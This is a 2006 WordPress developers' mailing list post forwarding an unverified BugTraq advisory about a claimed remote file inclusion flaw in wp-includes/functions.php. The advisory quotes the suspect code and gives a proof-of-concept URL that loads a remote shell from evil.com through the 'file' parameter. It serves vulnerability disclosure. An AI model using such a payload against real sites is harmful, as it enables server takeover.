[wp-hackers] Wordpress File Inclusion

[Bas Bosman]

Has anybody seen this post on the BugTraq mailing list?
(Also on: http://www.securityfocus.com/archive/1/451311/30/0/threaded)

I'm at work and don't have access to my Wordpress test box, so I haven't
verified it yet.

Kind regards,
Bas Bosman (Nazgul)


---------------------------- Original Message ----------------------------
Subject: Wordpress File Inclusion
From:    vannovax at gmail.com
Date:    Sat, November 11, 2006 3:18
To:      bugtraq at securityfocus.com
--------------------------------------------------------------------------

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
WordPress Remote File Inclusion
Download:http://wordpress.org/latest.zip
Found by _ANtrAX_ http://foro.c-group.org
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerable Code:
{
   global $posts, $post, $wp_did_header, $wp_did_template_redirect,
$wp_query,

      $wp_rewrite, $wpdb;


extract($wp_query->query_vars);


   require_once($file);
}
.....
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Affected File:
/wp-includes/functions.php =]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability:
www.site.com/wp-includes/functions.php?file=http://evil.com/shell.txt?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greetz:V4MP1R3Z4, FRE4K , PENNISSMEN ,EL GROXO , DEYABU ROOLZ ,
MATASANOS,C-GROUP STAFF  . CHAPINHACK, SysRoot ¬¬